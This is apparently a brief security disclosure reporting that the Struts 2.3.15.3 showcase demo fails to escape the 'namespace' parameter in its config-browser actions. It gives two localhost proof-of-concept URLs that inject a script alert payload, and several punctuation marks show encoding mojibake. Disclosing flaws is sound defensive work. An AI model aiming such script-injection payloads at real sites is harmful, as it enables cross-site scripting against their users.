*Abstract£º*

The latest version of the current official
struts-2.3.15.3£¬struts2-showcase.war demo XSS still exist!

*Details£º*

I found an update of the official demo of Strust2, so I did a test. It used
to be able to filter, escape input and escape output, but why didn¡¯t it
escape this time?

*Proofs of concept£º*

Two demo addresses¡¯ namespacec parameters were not solved:

http://127.0.0.1:8080/struts2-07/config-browser/actionNames.action?namespace=
<script>alert(/xss/);</script>

http://127.0.0.1:8080/struts2-07/config-browser/showConfig.action?namespace=
<script>alert(/xss/);</script>&actionName=showcase
